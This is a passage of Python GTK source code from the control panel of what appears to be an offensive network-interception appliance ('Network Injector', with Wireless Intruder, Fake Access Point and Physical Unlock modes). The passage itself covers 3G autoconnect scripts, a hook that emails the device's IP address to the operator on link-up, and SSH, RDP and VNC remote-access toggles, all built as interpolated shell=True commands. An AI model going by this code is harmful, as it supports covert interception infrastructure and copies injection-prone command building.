                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    return
            elif self.py_running == True or self.started_firewire == True:
                self.dialog14 = self.builder.get_object("messagedialog14")
                msgdia = 'Physical Unlock is running...\nPlease finish with his operations or stop it first.'
                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    return
        else:
            if self.started_newconf == True:
                self.dialog14 = self.builder.get_object("messagedialog14")
                msgdia = 'Configure with server is running...\nPlease finish with his operations or stop it first.'
                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    return
            elif self.ni2_running == True or self.started == True:
                self.dialog14 = self.builder.get_object("messagedialog14")
                msgdia = 'Network Injector is running...\nPlease finish with his operations or stop it first.'
                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    return

	subprocess.call('/opt/td-config/scripts/email_config.py &', shell=True)
	subprocess.call('echo "{} Advanced mail configuration on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)

    def startstoprmngt(self, *args):
	dev = None
	profile = None
	ptype = None
	email = False
	emailaddr = None

        if self.controlset == 'tactical':
            if self.builder.get_object("button28").get_label() == 'Enable':
                if self.started_newconf == True:
                    self.dialog14 = self.builder.get_object("messagedialog14")
                    msgdia = 'Configure with server is running...\nPlease finish with his operations or stop it first.'
                    self.dialog14.format_secondary_text(msgdia)
                    self.response14 = self.dialog14.run()
                    if self.response14 == Gtk.ResponseType.OK:
                        self.dialog14.hide()
                        return
                elif (self.ni_running == True or self.started == True) and (self.fa_running == True or self.fakeap_started == True):
                    self.dialog14 = self.builder.get_object("messagedialog14")
                    msgdia = 'Network Injector and Fake Access Point are running...\nPlease finish with their operations or stop it first.'
                    self.dialog14.format_secondary_text(msgdia)
                    self.response14 = self.dialog14.run()
                    if self.response14 == Gtk.ResponseType.OK:
                        self.dialog14.hide()
                        return
                elif self.ni_running == True or self.started == True:
                    self.dialog14 = self.builder.get_object("messagedialog14")
                    msgdia = 'Network Injector is running...\nPlease finish with his operations or stop it first.'
                    self.dialog14.format_secondary_text(msgdia)
                    self.response14 = self.dialog14.run()
                    if self.response14 == Gtk.ResponseType.OK:
                        self.dialog14.hide()
                        return
                elif self.wi_running == True or self.status == 'started':
                    self.dialog14 = self.builder.get_object("messagedialog14")
                    msgdia = 'Wireless Intruder is running...\nPlease finish with his operations or stop it first.'
                    self.dialog14.format_secondary_text(msgdia)
                    self.response14 = self.dialog14.run()
                    if self.response14 == Gtk.ResponseType.OK:
                        self.dialog14.hide()
                        return
                elif self.fa_running == True or self.fakeap_started == True:
                    self.dialog14 = self.builder.get_object("messagedialog14")
                    msgdia = 'Fake Access Point is running...\nPlease finish with his operations or stop it first.'
                    self.dialog14.format_secondary_text(msgdia)
                    self.response14 = self.dialog14.run()
                    if self.response14 == Gtk.ResponseType.OK:
                        self.dialog14.hide()
                        return
                elif self.py_running == True or self.started_firewire == True:
                    self.dialog14 = self.builder.get_object("messagedialog14")
                    msgdia = 'Physical Unlock is running...\nPlease finish with his operations or stop it first.'
                    self.dialog14.format_secondary_text(msgdia)
                    self.response14 = self.dialog14.run()
                    if self.response14 == Gtk.ResponseType.OK:
                        self.dialog14.hide()
                        return
            else:
                if self.started_newconf == True:
                    self.dialog14 = self.builder.get_object("messagedialog14")
                    msgdia = 'Configure with server is running...\nPlease finish with his operations or stop it first.'
                    self.dialog14.format_secondary_text(msgdia)
                    self.response14 = self.dialog14.run()
                    if self.response14 == Gtk.ResponseType.OK:
                        self.dialog14.hide()
                        return
                elif (self.ni_running == True or self.started == True) and (self.fa_running == True or self.fakeap_started == True):
                    self.dialog14 = self.builder.get_object("messagedialog14")
                    msgdia = 'Network Injector and Fake Access Point are running...\nPlease finish with their operations or stop it first.'
                    self.dialog14.format_secondary_text(msgdia)
                    self.response14 = self.dialog14.run()
                    if self.response14 == Gtk.ResponseType.OK:
                        self.dialog14.hide()
                        return
                elif self.ni_running == True or self.started == True:
                    if string.find(self.builder.get_object("comboboxtext1").get_active_text(), "3G modem") != -1:
                        self.dialog14 = self.builder.get_object("messagedialog14")
                        msgdia = 'Network Injector is running on 3G Modem...\nPlease finish with his operations or stop it first.'
                        self.dialog14.format_secondary_text(msgdia)
                        self.response14 = self.dialog14.run()
                        if self.response14 == Gtk.ResponseType.OK:
                            self.dialog14.hide()
                            return
                    else:
                        self.dialog14 = self.builder.get_object("messagedialog14")
                        msgdia = 'Network Injector is running...\nPlease finish with his operations or stop it first.'
                        self.dialog14.format_secondary_text(msgdia)
                        self.response14 = self.dialog14.run()
                        if self.response14 == Gtk.ResponseType.OK:
                            self.dialog14.hide()
                            return
                elif self.wi_running == True or self.status == 'started':
                    self.dialog14 = self.builder.get_object("messagedialog14")
                    msgdia = 'Wireless Intruder is running...\nPlease finish with his operations or stop it first.'
                    self.dialog14.format_secondary_text(msgdia)
                    self.response14 = self.dialog14.run()
                    if self.response14 == Gtk.ResponseType.OK:
                        self.dialog14.hide()
                        return
                elif self.fa_running == True or self.fakeap_started == True:
                    self.dialog14 = self.builder.get_object("messagedialog14")
                    msgdia = 'Fake Access Point is running...\nPlease finish with his operations or stop it first.'
                    self.dialog14.format_secondary_text(msgdia)
                    self.response14 = self.dialog14.run()
                    if self.response14 == Gtk.ResponseType.OK:
                        self.dialog14.hide()
                        return
                elif self.py_running == True or self.started_firewire == True:
                    self.dialog14 = self.builder.get_object("messagedialog14")
                    msgdia = 'Physical Unlock is running...\nPlease finish with his operations or stop it first.'
                    self.dialog14.format_secondary_text(msgdia)
                    self.response14 = self.dialog14.run()
                    if self.response14 == Gtk.ResponseType.OK:
                        self.dialog14.hide()
                        return
        else:
            if self.builder.get_object("button34").get_label() == 'Enable':
                if self.started_newconf == True:
                    self.dialog14 = self.builder.get_object("messagedialog14")
                    msgdia = 'Configure with server is running...\nPlease finish with his operations or stop it first.'
                    self.dialog14.format_secondary_text(msgdia)
                    self.response14 = self.dialog14.run()
                    if self.response14 == Gtk.ResponseType.OK:
                        self.dialog14.hide()
                        return
                elif self.ni2_running == True or self.started == True:
                    self.dialog14 = self.builder.get_object("messagedialog14")
                    msgdia = 'Network Injector is running...\nPlease finish with his operations or stop it first.'
                    self.dialog14.format_secondary_text(msgdia)
                    self.response14 = self.dialog14.run()
                    if self.response14 == Gtk.ResponseType.OK:
                        self.dialog14.hide()
                        return
            else:
                if self.started_newconf == True:
                    self.dialog14 = self.builder.get_object("messagedialog14")
                    msgdia = 'Configure with server is running...\nPlease finish with his operations or stop it first.'
                    self.dialog14.format_secondary_text(msgdia)
                    self.response14 = self.dialog14.run()
                    if self.response14 == Gtk.ResponseType.OK:
                        self.dialog14.hide()
                        return
                elif self.ni2_running == True or self.started == True:
                    self.dialog14 = self.builder.get_object("messagedialog14")
                    msgdia = 'Network Injector is running...\nPlease finish with his operations or stop it first.'
                    self.dialog14.format_secondary_text(msgdia)
                    self.response14 = self.dialog14.run()
                    if self.response14 == Gtk.ResponseType.OK:
                        self.dialog14.hide()
                        return

	if self.controlset == 'tactical':
	    if len(self.builder.get_object("entry5").get_text()) != 0 or self.builder.get_object("entry5").get_text() != "":
	        if re.match("^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+$", self.builder.get_object("entry5").get_text()) == None:
		    self.dialog26 = self.builder.get_object("messagedialog26")
                    self.response26 = self.dialog26.run()
                    if self.response26 == Gtk.ResponseType.CLOSE:
                        self.dialog26.hide()
			return
		else:
		    email = True
		    emailaddr = self.builder.get_object("entry5").get_text()
	    else:
		email = False

            self.builder.get_object("comboboxtext10").set_sensitive(False)
            self.builder.get_object("entry5").set_sensitive(False)
            self.builder.get_object("button28").set_sensitive(False)
	    self.builder.get_object("button27").set_sensitive(False)
	    self.builder.get_object("button33").set_sensitive(False)
        else:
	    if len(self.builder.get_object("entry6").get_text()) != 0 or self.builder.get_object("entry6").get_text() != "":
		if re.match("^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+$", self.builder.get_object("entry6").get_text()) == None:
		    self.dialog26 = self.builder.get_object("messagedialog26")
                    self.response26 = self.dialog26.run()
                    if self.response26 == Gtk.ResponseType.CLOSE:
                        self.dialog26.hide()
                        return
                else:
                    email = True
		    emailaddr = self.builder.get_object("entry6").get_text()
            else:
                email = False

            self.builder.get_object("comboboxtext11").set_sensitive(False)
            self.builder.get_object("entry6").set_sensitive(False)
            self.builder.get_object("button34").set_sensitive(False)
	    self.builder.get_object("button30").set_sensitive(False)
	    self.builder.get_object("button40").set_sensitive(False)

	if self.controlset == 'tactical':
    	    if self.builder.get_object("button28").get_label() == 'Enable':
		dev = self.builder.get_object("comboboxtext10").get_active_text().split()[0]
		profile = self.builder.get_object("comboboxtext10").get_active_text()
		ptype = 'enable'
	    else:
		ptype = 'disable'
	else:
	    if self.builder.get_object("button34").get_label() == 'Enable':
		dev = self.builder.get_object("comboboxtext11").get_active_text().split()[0]
		profile = self.builder.get_object("comboboxtext11").get_active_text()
		ptype = 'enable'
	    else:
		ptype = 'disable'

	if ptype == 'enable':
	    devmodem = None
	    devretip = None

	    if self.controlset == 'tactical':
	        devmodem = self.builder.get_object("comboboxtext10").get_active_text().split()[0]
	    else:
		devmodem = self.builder.get_object("comboboxtext11").get_active_text().split()[0]

	    try:
                devretip = subprocess.check_output("LANG=en_US.utf8 nmcli -t -f IP4 dev list iface '{}' | grep -i IP4.ADDRESS | awk '{{print $3}}' | sed -e 's/\/.*//g'".format(devmodem), shell=True)
            except:
                devretip = None
                pass

            ispriv = False

            if devretip != None or len(devretip) != 0:
                devretip = devretip[0:len(devretip) - 1]

                cont = 0

                try:
                    inet_pton(AF_INET, devretip)
                except:
                    cont = 1
                    pass

                if cont == 0:
                    f  = unpack('!I', inet_pton(AF_INET, devretip))[0]
                    private = ([ 2130706432 , 4278190080 ], [ 3232235520 , 4294901760 ], [ 2886729728 , 4293918720 ], [ 167772160 , 4278190080 ])

                    for net in private:
                        if (f & net[1] == net[0]):
                            ispriv = True
 
	        if ispriv == True:
		    self.dialog23 = self.builder.get_object("messagedialog23")
                    self.response23 = self.dialog23.run()
                    if self.response23 == Gtk.ResponseType.NO:
                        self.dialog23.hide()

                        if self.controlset == 'tactical':
                            self.builder.get_object("comboboxtext10").set_sensitive(True)
                            self.builder.get_object("entry5").set_sensitive(True)
                            self.builder.get_object("button28").set_sensitive(True)
                            self.builder.get_object("button27").set_sensitive(True)
			    self.builder.get_object("button33").set_sensitive(True)
                        else:
                            self.builder.get_object("comboboxtext11").set_sensitive(True)
                            self.builder.get_object("entry6").set_sensitive(True)
                            self.builder.get_object("button34").set_sensitive(True)
                            self.builder.get_object("button30").set_sensitive(True)
			    self.builder.get_object("button40").set_sensitive(True)

                        return
                    elif self.response23 == Gtk.ResponseType.YES:
                        self.dialog23.hide()
	    else:
	        self.dialog25 = self.builder.get_object("messagedialog25")
                self.response25 = self.dialog25.run()
                if self.response25 == Gtk.ResponseType.OK:
                    self.dialog25.hide()

                    if self.controlset == 'tactical':
                        self.builder.get_object("comboboxtext10").set_sensitive(True)
                        self.builder.get_object("entry5").set_sensitive(True)
                        self.builder.get_object("button28").set_sensitive(True)
                        self.builder.get_object("button27").set_sensitive(True)
			self.builder.get_object("button33").set_sensitive(True)
                    else:
                        self.builder.get_object("comboboxtext11").set_sensitive(True)
                        self.builder.get_object("entry6").set_sensitive(True)
                        self.builder.get_object("button34").set_sensitive(True)
                        self.builder.get_object("button30").set_sensitive(True)
			self.builder.get_object("button40").set_sensitive(True)

                    return

	    index = string.find(profile, "Connected to")
            index += 13
            profile = profile[index: -1]
		
	    mbc = ""
            mbc += '#!/bin/bash\n'
            mbc += '### BEGIN INIT INFO\n'
            mbc += '# Provides: mobile-broadband-connect\n'
            mbc += '# Required-Start: $remote_fs $syslog\n'
            mbc += '# Required-Stop: $remote_fs $syslog\n'
            mbc += '# Should-Start: $network\n'
            mbc += '# Should-Stop: $network\n'
            mbc += '# Default-Start: 2 3 4 5\n'
            mbc += '# Default-Stop: 0 1 6\n'
            mbc += '# Short-Description: Autoconnect 3G GSM\n'
            mbc += '# Description: Autoconnect 3G GSM USB modem at startup\n'
            mbc += '### END INIT INFO\n'
            mbc += '\n'
	    mbc += 'DEVICE="' + dev + '"\n'
	    mbc += 'PROFILE="' + profile + '"\n'
            mbc += 'NAME="Autoconnect 3G GSM USB modem at startup"\n'
            mbc += '\n'
            mbc += 'case "$1" in\n'
            mbc += '        start)\n'
            mbc += '                /etc/init.d/mobile-broadband-autoconnect &\n'
            mbc += '                ;;\n'
            mbc += '        stop)\n'
            mbc += '                pkill -KILL -f mobile-broadband-autoconnect\n'
            mbc += '                nmcli -t con down id "' + profile + '"\n'
            mbc += '                ;;\n'
            mbc += '        *)\n'
            mbc += '                echo $"Usage: $0 {start|stop}"\n'
            mbc += '                exit 1\n'
            mbc += 'esac\n'
            mbc += 'exit 0'

	    subprocess.call("update-rc.d -f mobile-broadband-connect remove", shell=True)
	    subprocess.call("rm -f /etc/init.d/mobile-broadband-connect 2> /dev/null", shell=True)
	    subprocess.call("echo '{}' > /etc/init.d/mobile-broadband-connect".format(mbc), shell=True)
	    subprocess.call("chmod +x /etc/init.d/mobile-broadband-connect", shell=True)
	    subprocess.call("update-rc.d mobile-broadband-connect defaults", shell=True)

	    mba = ""
	    mba += '#!/bin/bash\n'
	    mba += '\n'
	    mba += 'while true; do\n'
	    mba += '        nmcli -t -f DEVICE,TYPE,STATE dev | grep -i "gsm:disconnected" | grep -i "' + dev + '"\n'
            mba += '        if [ $? -eq 0 ]; then\n'
            mba += '                nmcli -t con up id "' + profile + '" iface "' + dev + '"\n'
	    mba += '                echo "nameserver 8.8.8.8" >> /var/run/dnsmasq/resolv.conf\n'
            mba += '                echo "nameserver 8.8.4.4" >> /var/run/dnsmasq/resolv.conf\n'
            mba += '                echo "nameserver 208.67.222.222" >> /var/run/dnsmasq/resolv.conf\n'
            mba += '                echo "nameserver 208.67.220.220" >> /var/run/dnsmasq/resolv.conf\n'
            mba += '                sleep 30\n'
            mba += '        else\n'
            mba += '                sleep 10\n'
            mba += '        fi\n'
	    mba += 'done'

	    subprocess.call("pkill -KILL -f mobile-broadband-autoconnect 2> /dev/null", shell=True)
	    subprocess.call("rm -f /etc/init.d/mobile-broadband-autoconnect 2> /dev/null", shell=True)
            subprocess.call("echo '{}' > /etc/init.d/mobile-broadband-autoconnect".format(mba), shell=True)
	    subprocess.call("chmod +x /etc/init.d/mobile-broadband-autoconnect", shell=True)
	    subprocess.call("/etc/init.d/mobile-broadband-connect start &", shell=True)

	    if email == True:
		hostname = subprocess.check_output("hostname", shell=True)[:-1]
		hoststr = "127.0.0.1       " + hostname + ".localdomain localhost " + hostname

		try:
		    ret = subprocess.check_output("grep -i '{}' /etc/hosts".format(hoststr), shell=True)
		    if len(ret) == 0:
			subprocess.call("echo '{}' >> /etc/hosts".format(hoststr), shell=True)
		except:
		    subprocess.call("echo '{}' >> /etc/hosts".format(hoststr), shell=True)

		subprocess.call("rm -f /etc/NetworkManager/mailmsg.txt", shell=True)
		subprocess.call("rm -f /etc/NetworkManager/dispatcher.d/03routemail", shell=True)

		rmail = ""
		rmail += "#!/bin/bash\n"
		rmail += "\n"
		rmail += "IF=$1\n"
		rmail += "STATUS=$2\n"
		rmail += "HOST=\"" + hostname + "\"\n"
		rmail += "EMAIL=\"" + emailaddr + "\"\n"
		if os.path.exists("/etc/NetworkManager/muttrc") == True:
		    rmail += "HMUTT=\"yes\"\n"
		else:
		    rmail += "HMUTT=\"no\"\n"
		rmail += "\n"
		rmail += "if [ \"$IF\" == \"usb0\" -o \"$IF\" == \"ppp0\" ]; then\n"
		rmail += "      case $STATUS in\n"
		rmail += "              up)\n"
		rmail += "                      sleep 10\n"
		rmail += "\n"
		rmail += "                      if [ \"$IF\" == \"ppp0\" ]; then"
		subprocess.call("echo '{}' > /etc/NetworkManager/dispatcher.d/03routemail".format(rmail), shell=True)
		rmail = '                              network=\`LANG=en_US.utf8 nmcli -t -f IP4 dev list iface ' + dev + ' | grep -i IP4.ADDRESS | awk \'{print \$3}\' | sed -e \'s/\/.*//g\'\`'
		subprocess.call('echo "{}" >> /etc/NetworkManager/dispatcher.d/03routemail'.format(rmail), shell=True)
		rmail = "                      else"
		subprocess.call("echo '{}' >> /etc/NetworkManager/dispatcher.d/03routemail".format(rmail), shell=True)
		rmail = '                              network=\`LANG=en_US.utf8 nmcli -t -f IP4 dev list iface \$IF | grep -i IP4.ADDRESS | awk \'{print \$3}\' | sed -e \'s/\/.*//g\'\`'
		subprocess.call('echo "{}" >> /etc/NetworkManager/dispatcher.d/03routemail'.format(rmail), shell=True)
		rmail = "                      fi\n"
		rmail += "\n"
		rmail += "                      rm -f /etc/NetworkManager/mailmsg.txt\n"
		rmail += "\n"
		rmail += "                      logger -s \"$IF is up, enable the notification with email for 3G modem with $network address...\"\n"
		rmail += "\n"
		rmail += "                      if [ \"$HMUTT\" == \"yes\" ]; then\n"
		rmail += "                              echo \"This is the device IP address: $network\" > /etc/NetworkManager/mailmsg.txt\n"
		rmail += "                              echo \"\" >> /etc/NetworkManager/mailmsg.txt\n"
		rmail += "                              mutt -F /etc/NetworkManager/muttrc -s \"Device IP address\" " + emailaddr + " < /etc/NetworkManager/mailmsg.txt\n"
		rmail += "                      else\n"
		rmail += "                              echo \"Subject: Device IP address\" > /etc/NetworkManager/mailmsg.txt\n"
		rmail += "                              echo \"This is the device IP address: $network\" >> /etc/NetworkManager/mailmsg.txt\n"
		rmail += "                              echo \"\" >> /etc/NetworkManager/mailmsg.txt\n"
		rmail += "                              sendmail -froot@" + hostname + ".localdomain -t " + emailaddr + " < /etc/NetworkManager/mailmsg.txt\n"
		rmail += "                      fi\n"
		rmail += "                      ;;\n"
		rmail += "              down)\n"
		rmail += "                      logger -s \"$IF is down, disable the notification with email for 3G modem...\"\n"
		rmail += "                      ;;\n"
		rmail += "              *)\n"
		rmail += "                      ;;\n"
		rmail += "      esac\n"
		rmail += "fi"
		subprocess.call("echo '{}' >> /etc/NetworkManager/dispatcher.d/03routemail".format(rmail), shell=True)

                subprocess.call("chmod +x /etc/NetworkManager/dispatcher.d/03routemail", shell=True)

		devmodem2 = None
		devretip2 = None

		if self.controlset == 'tactical':
                    devmodem2 = self.builder.get_object("comboboxtext10").get_active_text().split()[0]
                else:
                    devmodem2 = self.builder.get_object("comboboxtext11").get_active_text().split()[0]

                try:
                    devretip2 = subprocess.check_output("LANG=en_US.utf8 nmcli -t -f IP4 dev list iface '{}' | grep -i IP4.ADDRESS | awk '{{print $3}}' | sed -e 's/\/.*//g'".format(devmodem2), shell=True)
                except:
                    devretip2 = None
                    pass

		if devretip2 != None:
		    tmail = ""

                    if os.path.exists("/etc/NetworkManager/muttrc") == False:
                        tmail += "Subject: Device IP address\n"

                    tmail += "This is the device IP address: " + devretip2 + "\n"
                    subprocess.call("rm -f /tmp/mailmsg.txt 2> /dev/null", shell=True)
                    subprocess.call("echo '{}' > /tmp/mailmsg.txt".format(tmail), shell=True)

                    if os.path.exists("/etc/NetworkManager/muttrc") == True:
                        subprocess.call("mutt -F /etc/NetworkManager/muttrc -s 'Device IP address' {} < /tmp/mailmsg.txt &".format(emailaddr), shell=True)
                    else:
                        subprocess.call("sendmail -froot@{}.localdomain -t {} < /tmp/mailmsg.txt".format(hostname, emailaddr), shell=True)

	    if self.controlset == 'tactical':
                self.builder.get_object("button28").set_label('Disable')
                self.builder.get_object("button28").set_sensitive(True)
		self.builder.get_object("button25").set_sensitive(False)
		self.builder.get_object("button27").set_sensitive(False)
		self.builder.get_object("button33").set_sensitive(False)
            else:
                self.builder.get_object("button34").set_label('Disable')
                self.builder.get_object("button34").set_sensitive(True)
		self.builder.get_object("button32").set_sensitive(False)
		self.builder.get_object("button30").set_sensitive(False)
		self.builder.get_object("button40").set_sensitive(False)

	    self.modem3g = True
            self.modem3gconf = { 'profile': profile, 'type': 'mobile', 'connected': True, 'dev': dev}

	    if email == False:
	        subprocess.call('echo "{} Start 3G automatic connection on {} {} on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), dev, profile), shell=True)
	    else:
		subprocess.call('echo "{} Start 3G automatic connection on {} {} with {} email address on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), dev, profile, emailaddr), shell=True)

	    if self.controlset == 'tactical':
		if self.ni_running == False and self.started == False:
		    self.refresh()
	    else:
		if self.ni2_running == False and self.started == False:
		    self.refresh2()
        else:
	    subprocess.call("update-rc.d -f mobile-broadband-connect remove", shell=True)
            subprocess.call("rm -f /etc/init.d/mobile-broadband-connect 2> /dev/null", shell=True)
	    subprocess.call("pkill -KILL -f mobile-broadband-autoconnect 2> /dev/null", shell=True)
            subprocess.call("rm -f /etc/init.d/mobile-broadband-autoconnect 2> /dev/null", shell=True)

	    if email == True or os.path.exists('/etc/NetworkManager/dispatcher.d/03routemail') == True:
		subprocess.call("rm -f /etc/NetworkManager/dispatcher.d/03routemail", shell=True)
		subprocess.call("rm -f /etc/NetworkManager/mailmsg.txt", shell=True)
		subprocess.call('echo "{} Stop 3G automatic connection on {} {} with {} email address on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), self.modem3gconf['dev'], self.modem3gconf['profile'], emailaddr), shell=True)
	    else: 
		subprocess.call('echo "{} Stop 3G automatic connection on {} {} on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), self.modem3gconf['dev'], self.modem3gconf['profile']), shell=True)

	    if self.controlset == 'tactical':
                self.builder.get_object("button28").set_label('Enable')
		self.builder.get_object("comboboxtext10").set_sensitive(True)
            	self.builder.get_object("entry5").set_sensitive(True)
            	self.builder.get_object("button28").set_sensitive(True)
		self.builder.get_object("button25").set_sensitive(True)
		self.builder.get_object("button27").set_sensitive(True)
		self.builder.get_object("button33").set_sensitive(True)
            else:
                self.builder.get_object("button34").set_label('Enable')
                self.builder.get_object("comboboxtext11").set_sensitive(True)
            	self.builder.get_object("entry6").set_sensitive(True)
            	self.builder.get_object("button34").set_sensitive(True)
		self.builder.get_object("button32").set_sensitive(True)
		self.builder.get_object("button30").set_sensitive(True)
		self.builder.get_object("button40").set_sensitive(True)

	    self.modem3g = False
            self.modem3gconf = None

	    self.loadinterfaces3()

	    if self.controlset == 'tactical':
		if self.ni_running == False and self.started == False:
		    self.refresh()
	    else:
		if self.ni2_running == False and self.started == False:
		    self.refresh2()

    def sshconfig(self, *args):
	if self.ssh_begin == True:
	    return

	if self.ssh_start == False:
            self.ssh_start = True

	    try:
                if subprocess.check_output("ps ax | grep -i 'sshd -D' | grep -v grep", shell=True).strip() != '0':
		    return
	    except:
		pass

            subprocess.call('/etc/init.d/ssh start', shell=True)
            subprocess.call('echo "{} Start SSH Server with X Window system on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)
        else:
            self.ssh_start = False

            subprocess.call('/etc/init.d/ssh stop', shell=True)
            subprocess.call('echo "{} Stop SSH Server with X Window system on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)

    def rdpconfig(self, *args):
        if self.rdp_begin == True:
            return

        if self.rdp_start == False:
            self.rdp_start = True

            try:
                if subprocess.check_output("ps ax | grep -i xrdp-sesman | grep -v grep", shell=True).strip() != '0':
                    return
            except:
                pass

	    subprocess.call('echo "gnome-session --session=ubuntu-2d" > /home/$SUDO_USER/.xsession', shell=True)
            subprocess.call('/etc/init.d/xrdp start', shell=True)
	    subprocess.call('update-rc.d xrdp defaults', shell=True)
            subprocess.call('echo "{} Start RDP Server with X Window system on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)
        else:
            self.rdp_start = False

            subprocess.call('/etc/init.d/xrdp stop', shell=True)
	    subprocess.call('update-rc.d -f xrdp remove', shell=True)
	    subprocess.call('rm -f /var/run/xrdp/xrdp.pid 2> /dev/null', shell=True)
	    subprocess.call("rm -f /home/$SUDO_USER/.xsession 2> /dev/null", shell=True)
            subprocess.call('echo "{} Stop RDP Server with X Window system on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)

    def vncconfig(self, *args):
        if self.vnc_begin == True:
            return

        if self.vnc_start == False:
            self.vnc_start = True

	    if os.path.exists('/etc/init/x11vnc.conf') == False:
		vncinit = ""
		vncinit += "start on login-session-start\n"
		vncinit += "script\n"
		vncinit += "/usr/bin/x11vnc -xkb -auth /var/run/lightdm/root/:0 -noxrecord -noxfixes -noxdamage -unixpw -forever -bg -rfbport 5900 -o /var/log/x11vnc.log\n"
		vncinit += "end script"
		subprocess.call("echo '{}' > /etc/init/x11vnc.conf".format(vncinit), shell=True)

	    try:
                if subprocess.check_output("ps ax | grep -i x11vnc | grep -v grep", shell=True).strip() != '0':
		    pass
		else:
		    subprocess.call("x11vnc -rfbport 5900 -input KMBCF -unixpw -forever &", shell=True)
	    except:
		subprocess.call("x11vnc -rfbport 5900 -input KMBCF -unixpw -forever &", shell=True)

            subprocess.call('echo "{} Start VNC Server on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)
        else:
            self.vnc_start = False

	    if os.path.exists('/etc/init/x11vnc.conf') == True:
		subprocess.call("rm -f /etc/init/x11vnc.conf", shell=True)

	    subprocess.call("pkill -KILL -f x11vnc 2> /dev/null", shell=True)
            subprocess.call('echo "{} Stop VNC Server on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)

    def usermanager(self, *args):
        if self.controlset == 'tactical':
            if self.started_newconf == True:
                self.dialog14 = self.builder.get_object("messagedialog14")
                msgdia = 'Configure with server is running...\nPlease finish with his operations or stop it first.'
                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    return
            elif (self.ni_running == True or self.started == True) and (self.fa_running == True or self.fakeap_started == True):
                self.dialog14 = self.builder.get_object("messagedialog14")
                msgdia = 'Network Injector and Fake Access Point are running...\nPlease finish with their operations or stop it first.'
                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    return
            elif self.ni_running == True or self.started == True:
                self.dialog14 = self.builder.get_object("messagedialog14")
                msgdia = 'Network Injector is running...\nPlease finish with his operations or stop it first.'
                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    return
            elif self.wi_running == True or self.status == 'started':
                self.dialog14 = self.builder.get_object("messagedialog14")
                msgdia = 'Wireless Intruder is running...\nPlease finish with his operations or stop it first.'
                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    return
            elif self.fa_running == True or self.fakeap_started == True:
                self.dialog14 = self.builder.get_object("messagedialog14")
                msgdia = 'Fake Access Point is running...\nPlease finish with his operations or stop it first.'
                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    return
            elif self.py_running == True or self.started_firewire == True:
                self.dialog14 = self.builder.get_object("messagedialog14")
                msgdia = 'Physical Unlock is running...\nPlease finish with his operations or stop it first.'
                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    return
        else:
            if self.started_newconf == True:
                self.dialog14 = self.builder.get_object("messagedialog14")
                msgdia = 'Configure with server is running...\nPlease finish with his operations or stop it first.'
                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    return
            elif self.ni2_running == True or self.started == True:
                self.dialog14 = self.builder.get_object("messagedialog14")
                msgdia = 'Network Injector is running...\nPlease finish with his operations or stop it first.'
                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    return

        subprocess.call('gnome-control-center user-accounts &', shell=True)
        subprocess.call('echo "{} Show User accounts management of Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)

    def diskutility(self, *args):
        disk = None

        if self.started_newconf == True:
            self.dialog14 = self.builder.get_object("messagedialog14")
            msgdia = 'Configure with server is running...\nPlease finish with his operations or stop it first.'
            self.dialog14.format_secondary_text(msgdia)
            self.response14 = self.dialog14.run()
            if self.response14 == Gtk.ResponseType.OK:
                self.dialog14.hide()
                return
        elif (self.ni_running == True or self.started == True) and (self.fa_running == True or self.fakeap_started == True):
            self.dialog14 = self.builder.get_object("messagedialog14")
            msgdia = 'Network Injector and Fake Access Point are running...\nPlease finish with their operations or stop it first.'
            self.dialog14.format_secondary_text(msgdia)
            self.response14 = self.dialog14.run()
            if self.response14 == Gtk.ResponseType.OK:
                self.dialog14.hide()
                return
        elif self.ni_running == True or self.started == True:
            self.dialog14 = self.builder.get_object("messagedialog14")
            msgdia = 'Network Injector is running...\nPlease finish with his operations or stop it first.'
            self.dialog14.format_secondary_text(msgdia)
            self.response14 = self.dialog14.run()
            if self.response14 == Gtk.ResponseType.OK:
                self.dialog14.hide()
                return
        elif self.wi_running == True or self.status == 'started':
